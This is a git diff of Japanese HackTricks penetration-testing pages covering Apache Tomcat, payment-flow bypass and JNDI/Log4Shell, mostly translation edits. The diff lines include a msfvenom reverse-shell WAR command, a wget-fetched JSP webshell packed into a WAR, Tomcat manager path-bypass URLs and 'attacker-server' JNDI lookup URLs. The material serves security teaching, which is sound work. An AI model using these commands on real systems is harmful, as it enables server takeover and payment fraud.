Apache Tomcat バージョン 4.x から 7.x には、情報漏洩やクロスサイトスクリプティング(XSS)攻撃に対して脆弱なサンプルスクリプトが含まれています。これらのスクリプトは、権限なしでのアクセスや潜在的な悪用をチェックする必要があります。[詳細はこちら](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
* /examples/jsp/dates/date.jsp
|
||||
|
@ -101,17 +109,17 @@ Apache Tomcat バージョン 4.x から 7.x には、情報開示やクロス
|
|||
* /examples/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **パストラバーサルの悪用**
|
||||
### **パス遍歴の悪用**
|
||||
|
||||
一部の[Tomcatの脆弱な構成](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)では、`/..;/` のパスを使用してTomcatの保護されたディレクトリにアクセスできます。
|
||||
|
||||
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、Tomcatマネージャーページにアクセスできるかもしれません。
|
||||
例えば、`www.vulnerable.com/lalala/..;/manager/html` にアクセスすることで、**Tomcatマネージャ**ページにアクセスできるかもしれません。
|
||||
|
||||
このトリックを使用して保護されたパスをバイパスする別の方法は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
|
||||
このトリックを使用して保護されたパスをバイパスする**別の方法**は、`http://www.vulnerable.com/;param=value/manager/html` にアクセスすることです。
|
||||
|
||||
## RCE
|
||||
|
||||
最後に、Tomcat Webアプリケーションマネージャーにアクセスできる場合、`.war` ファイルをアップロードして展開することができます(コードを実行)。
|
||||
最後に、Tomcat Webアプリケーションマネージャにアクセスできる場合、**.warファイル(コードの実行)をアップロードおよび展開**できます。
|
||||
|
||||
### 制限事項
|
||||
|
||||
|
@ -146,7 +154,7 @@ msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o r
|
|||
|
||||
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)を使用したバインドおよびリバースシェル
|
||||
|
||||
一部のシナリオではこれが機能しないことがあります(たとえば古いバージョンのsun)
|
||||
一部のシナリオではこれが機能しないことがあります(たとえばsunの古いバージョン)。
|
||||
|
||||
#### ダウンロード
|
||||
```bash
|
||||
|
@ -199,7 +207,7 @@ webshell.war is created
|
|||
```
|
||||
### 手動方法2
|
||||
|
||||
JSPウェブシェル([こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp))を取得し、WARファイルを作成します。
|
||||
JSPウェブシェル([こちら](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp))を取得し、WARファイルを作成します:
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||||
zip -r backup.war cmd.jsp
|
||||
|
@ -226,14 +234,20 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,25 @@
|
|||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTコレクション](https://opensea.io/collection/the-peass-family)を発見してください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### rootでの実行を避ける
|
||||
|
||||
Tomcatをrootで実行しないようにするための非常に一般的な構成は、ポート80/443でApacheサーバーを設定し、リクエストされたパスが正規表現と一致する場合、リクエストを異なるポートで実行されているTomcatに送信することです。
|
||||
Tomcatをrootで実行しないようにするための非常に一般的な構成は、ポート80/443でApacheサーバーを設定し、リクエストされたパスが正規表現に一致する場合、リクエストを異なるポートで実行されているTomcatに送信することです。
|
||||
|
||||
### デフォルト構造
|
||||
```
|
||||
|
@ -87,11 +95,11 @@ webapps/customapp
|
|||
</web-app>
|
||||
```
|
||||
```markdown
|
||||
上記の`web.xml`構成は、**`AdminServlet`という新しいサーブレット**を定義し、**`com.inlanefreight.api.AdminServlet`クラス**にマップされています。Javaはパッケージ名を作成するためにドット表記を使用します。したがって、上記で定義されたクラスのディスク上のパスは次のとおりです:
|
||||
上記の`web.xml`構成は、**`AdminServlet`** という**新しいサーブレット**を定義し、**`com.inlanefreight.api.AdminServlet`** クラスにマップします。Javaはパッケージ名を作成するためにドット表記を使用します。したがって、上記で定義されたクラスのディスク上のパスは次のとおりです:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
- **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
次に、**`/admin`へのリクエストを`AdminServlet`にマッピングする**新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`クラスに送信**され、処理されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョン(LFI)脆弱性**を利用する際にチェックする重要なファイルです。
|
||||
次に、**`/admin`へのリクエストを`AdminServlet`にマッピング**する新しいサーブレットマッピングが作成されます。この構成により、**`/admin`への受信リクエストは`AdminServlet.class`**クラスに処理されるように送信されます。**`web.xml`**記述子には多くの**機密情報**が含まれており、**ローカルファイルインクルージョン(LFI)脆弱性**を利用する際にチェックする重要なファイルです。
|
||||
|
||||
### tomcat-users
|
||||
|
||||
|
@ -137,20 +145,26 @@ will also need to set the passwords to something appropriate.
|
|||
|
||||
</tomcat-users>
|
||||
```
|
||||
ファイルは、`manager-gui`、`manager-script`、`manager-jmx`、および`manager-status`の各ロールがアクセス権を提供する内容を示しています。この例では、パスワードが`tomcat`であるユーザー`tomcat`が`manager-gui`ロールを持っており、2番目の弱いパスワード`admin`がユーザーアカウント`admin`に設定されています。
|
||||
ファイルには、`manager-gui`、`manager-script`、`manager-jmx`、`manager-status` のそれぞれがアクセス権を提供する内容が示されています。この例では、パスワードが `tomcat` のユーザー `tomcat` が `manager-gui` ロールを持っており、2番目の弱いパスワード `admin` がユーザーアカウント `admin` に設定されています。
|
||||
|
||||
## 参考文献
|
||||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> でゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricks での企業の宣伝を見たい**ですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけます
|
||||
* [**公式PEASS&HackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします。**
|
||||
* **ハッキングトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud) に PR を提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,41 +6,48 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 **@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。
|
||||
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 支払いバイパステクニック
|
||||
|
||||
### リクエストの傍受
|
||||
取引プロセス中に、クライアントとサーバー間で交換されるデータを監視することは重要です。これはすべてのリクエストを傍受することで行うことができます。これらのリクエストの中で、次のような重要な影響を与えるパラメータに注意してください:
|
||||
取引プロセス中に、クライアントとサーバー間で交換されるデータを監視することは重要です。これはすべてのリクエストを傍受することで行うことができます。これらのリクエストの中で、次のような重要な影響を持つパラメータに注意してください:
|
||||
|
||||
- **Success**: このパラメータは、取引の状態を示すことがよくあります。
|
||||
- **Referrer**: リクエストの元の場所を指すことがあります。
|
||||
- **Callback**: これは通常、取引が完了した後にユーザーをリダイレクトするために使用されます。
|
||||
|
||||
### URLの分析
|
||||
特に _example.com/payment/MD5HASH_ のパターンに従うURLを含むパラメータに遭遇した場合、これを詳しく調べる必要があります。以下はステップバイステップのアプローチです:
|
||||
特に _example.com/payment/MD5HASH_ のようなパターンに従うURLを含むパラメータに遭遇した場合、これを詳しく調べる必要があります。以下はステップバイステップのアプローチです:
|
||||
|
||||
1. **URLをコピー**: パラメータ値からURLを抽出します。
|
||||
2. **新しいウィンドウで検査**: コピーしたURLを新しいブラウザウィンドウで開きます。このアクションは、取引の結果を理解するために重要です。
|
||||
|
||||
### パラメータの操作
|
||||
1. **パラメータの値を変更**: _Success_, _Referrer_, _Callback_ などのパラメータの値を変更して実験してみてください。たとえば、パラメータを `false` から `true` に変更すると、システムがこれらの入力をどのように処理するかがわかることがあります。
|
||||
2. **パラメータの削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認してみてください。期待されるパラメータが欠落している場合、一部のシステムにはフォールバックやデフォルトの動作があるかもしれません。
|
||||
1. **パラメータの値を変更**: _Success_、_Referrer_、または _Callback_ などのパラメータの値を変更して実験してみてください。たとえば、パラメータを `false` から `true` に変更すると、システムがこれらの入力をどのように処理するかがわかることがあります。
|
||||
2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認してみてください。期待されるパラメータが欠落している場合、一部のシステムにはフォールバックやデフォルトの動作があるかもしれません。
|
||||
|
||||
### Cookieの改ざん
|
||||
1. **Cookieの検査**: 多くのウェブサイトは重要な情報をCookieに保存しています。これらのCookieを支払い状況やユーザー認証に関連するデータを調査してください。
|
||||
2. **Cookieの値を変更**: Cookieに保存されている値を変更し、ウェブサイトの応答や動作がどのように変化するかを観察してください。
|
||||
### クッキーの改ざん
|
||||
1. **クッキーを調査**: 多くのウェブサイトは重要な情報をクッキーに保存しています。これらのクッキーを支払い状況やユーザー認証に関連するデータで調査してください。
|
||||
2. **クッキーの値を変更**: クッキーに保存されている値を変更し、ウェブサイトの応答や動作がどのように変化するかを観察してください。
|
||||
|
||||
### セッションハイジャック
|
||||
1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合、それらをキャプチャして操作してみてください。これにより、セッション管理の脆弱性に関する洞察が得られるかもしれません。
|
||||
1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合は、それらをキャプチャして操作してみてください。これにより、セッション管理の脆弱性についての洞察が得られるかもしれません。
|
||||
|
||||
### レスポンスの改ざん
|
||||
1. **レスポンスの傍受**: ツールを使用してサーバーからのレスポンスを傍受して分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを明らかにするデータを探してください。
|
||||
1. **レスポンスの傍受**: ツールを使用してサーバーからのレスポンスを傍受して分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを明らかにする可能性のあるデータを探してください。
|
||||
2. **レスポンスの変更**: ブラウザやアプリケーションに処理される前に、レスポンスを変更して成功した取引シナリオをシミュレートしてみてください。
|
||||
|
|
|
@ -2,36 +2,44 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて<strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝する**または**HackTricksをPDFでダウンロードする**には、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
|
||||
- **ハッキングトリックを共有する**ために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**@carlospolopm**をフォローする🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)。
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
JNDIは、1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを検索できるようにします。SPI(サービスプロバイダインターフェース)を介してさまざまなディレクトリサービスをサポートし、CORBA COS、Java RMI Registry、LDAPなどの異なるシステムからデータを取得できます。
|
||||
JNDIは、1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを検索できるようにします。SPI(サービスプロバイダインターフェース)を介してさまざまなディレクトリサービスをサポートし、リモートJavaオブジェクトを含むさまざまなシステムからデータを取得できます。一般的なSPIには、CORBA COS、Java RMI Registry、LDAPなどがあります。
|
||||
|
||||
### JNDI Naming Reference
|
||||
|
||||
JNDI Naming Referencesを使用してJavaオブジェクトを格納および取得でき、次の2つの形式があります:
|
||||
JNDI Naming Referencesを使用してJavaオブジェクトを格納および取得できます。これには2つの形式があります。
|
||||
|
||||
- **Reference Addresses**:オブジェクトの場所を指定します(例:_rmi://server/ref_)、指定されたアドレスから直接取得できます。
|
||||
- **Remote Factory**:リモートファクトリクラスを参照します。アクセス時に、クラスはリモート位置からダウンロードおよびインスタンス化されます。
|
||||
|
||||
ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として:
|
||||
|
||||
- **RMI**:JDK 7u21以降、`java.rmi.server.useCodeabseOnly = true`がデフォルトで、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーは、読み込むことができるものをさらに制限します。
|
||||
- **LDAP**:JDK 6u141、7u131、8u121以降、`com.sun.jndi.ldap.object.trustURLCodebase = false`がデフォルトで、リモートで読み込まれたJavaオブジェクトの実行をブロックします。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
|
||||
- **RMI**:JDK 7u21以降、`java.rmi.server.useCodeabseOnly = true`がデフォルトであり、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーは、読み込むことができるものをさらに制限します。
|
||||
- **LDAP**:JDK 6u141、7u131、8u121以降、`com.sun.jndi.ldap.object.trustURLCodebase = false`がデフォルトであり、リモートで読み込まれたJavaオブジェクトの実行をブロックします。`true`に設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能になります。
|
||||
- **CORBA**:特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。
|
||||
|
||||
ただし、JNDIリンクを解決する**Naming Manager**には組み込みのセキュリティメカニズムがなく、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネント(ガジェット)の悪用による悪意のあるコードの実行が可能になります。
|
||||
ただし、JNDIリンクを解決する責任がある**Naming Manager**には組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネント(ガジェット)の悪用による悪意のあるコードの実行が可能になります。
|
||||
|
||||
攻撃可能なURLの例:
|
||||
|
||||
|
@ -39,22 +47,22 @@ JNDI Naming Referencesを使用してJavaオブジェクトを格納および取
|
|||
- _ldap://attacker-server/bar_
|
||||
- _iiop://attacker-server/bar_
|
||||
|
||||
保護措置があるにもかかわらず、信頼されていないソースからのJNDIの読み込みに対する保護が不十分であり、既存の保護をバイパスする可能性があるため、脆弱性が残っています。
|
||||
保護措置があるにもかかわらず、信頼できないソースからのJNDIの読み込みに対する保護が欠けていることや、既存の保護をバイパスする可能性があることから、脆弱性が残っています。
|
||||
|
||||
### JNDIの例
|
||||
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
**`PROVIDER_URL`**を設定していても、lookupで異なるURLを指定することができ、アクセスされます:`ctx.lookup("<attacker-controlled-url>")`、これを攻撃者が悪用して任意のオブジェクトをシステムから読み込むことができます。
|
||||
**`PROVIDER_URL`**を設定していても、lookupで異なるものを指定することができ、アクセスされます:`ctx.lookup("<attacker-controlled-url>")` これを悪用して、攻撃者は自分が制御するシステムから任意のオブジェクトを読み込むことができます。
|
||||
|
||||
### CORBA概要
|
||||
|
||||
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。このリファレンスには、次のような重要な情報が含まれます:
|
||||
CORBA(Common Object Request Broker Architecture)は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。この参照には、次のような重要な情報が含まれます:
|
||||
|
||||
- **Type ID**:インターフェースの一意の識別子。
|
||||
- **Codebase**:スタブクラスを取得するためのURL。
|
||||
|
||||
特に、CORBAは元々脆弱ではありません。セキュリティを確保するためには通常:
|
||||
CORBAは基本的に脆弱ではありません。セキュリティを確保するためには通常:
|
||||
|
||||
- **セキュリティマネージャーのインストール**。
|
||||
- セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは、例えばソケット権限(`permissions java.net.SocketPermission "*:1098-1099", "connect";`)や、悪意のあるファイルが配置される特定のディレクトリに対するファイル読み取り権限(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)などを使用して達成できます。
|
||||
|
@ -63,7 +71,7 @@ CORBA(Common Object Request Broker Architecture)は、リモートオブジ
|
|||
|
||||
### RMIコンテキスト
|
||||
|
||||
RMI(Remote Method Invocation)の場合、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要がありますが、これはCORBAでも重要です。
|
||||
RMI(Remote Method Invocation)に関しては、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常はセキュリティマネージャーを回避する必要がありますが、これはCORBAでも重要です。
|
||||
|
||||
### LDAP
|
||||
|
||||
|
@ -71,18 +79,18 @@ RMI(Remote Method Invocation)の場合、状況は多少異なります。CO
|
|||
**Search**は、`ldap://localhost:389/o=JNDITutorial`のようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を取得します。\
|
||||
**Lookup**は、**名前付けサービス**向けであり、**名前にバインドされているものを取得**したいときに使用されます。
|
||||
|
||||
LDAP検索が`SearchControls.setReturningObjFlag() with true`で呼び出された場合、返されたオブジェクトは再構築されます。
|
||||
LDAP検索が`SearchControls.setReturningObjFlag()`を`true`で呼び出された場合、返されたオブジェクトは再構築されます。
|
||||
|
||||
したがって、これらのオプションを攻撃する方法はいくつかあります。\
|
||||
**攻撃者はLDAPレコードにペイロードを導入し、それらを実行されるシステムに注入**することができます(LDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です)。これを悪用する別の方法は、例えばLDAP検索で**MitM攻撃**を実行することです。
|
||||
**攻撃者は、実行されるペイロードを導入するLDAPレコードを改ざん**することができ、これによりそれらを収集するシステムで実行されます(LDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です)。これを悪用する別の方法は、たとえばLDAP検索で**MitM攻撃**を実行することです。
|
||||
|
||||
アプリケーションがJNDI LDAP URLを解決するようにする場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を送り返すことができます。
|
||||
アプリケーションにJNDI LDAP URLを解決させることができる場合、検索されるLDAPを制御でき、エクスプロイト(log4shell)を送り返すことができます。
|
||||
|
||||
#### シリアライゼーションエクスプロイト
|
||||
#### シリアル化エクスプロイト
|
||||
|
||||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||||
|
||||
**エクスプロイトはシリアライズ**され、デシリアライズされます。\
|
||||
**エクスプロイトはシリアル化**され、デシリアル化されます。\
|
||||
`trustURLCodebase`が`true`の場合、攻撃者はコードベースに自分のクラスを提供できます。そうでない場合は、クラスパス内のガジェットを悪用する必要があります。
|
||||
|
||||
#### JNDIリファレンスエクスプロイト
|
||||
|
@ -93,13 +101,13 @@ LDAP検索が`SearchControls.setReturningObjFlag() with true`で呼び出され
|
|||
|
||||
## Log4Shell脆弱性
|
||||
|
||||
この脆弱性は、Log4jが`${prefix:name}`形式の[**特別な構文**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution)をサポートしているために導入されます。ここで、`prefix`はさまざまな[**Lookups**](https://logging.apache.org/log4j/2.x/manual/lookups.html)の1つであり、`name`は評価されるべきです。例えば、`${java:version}`は現在実行中のJavaのバージョンです。
|
||||
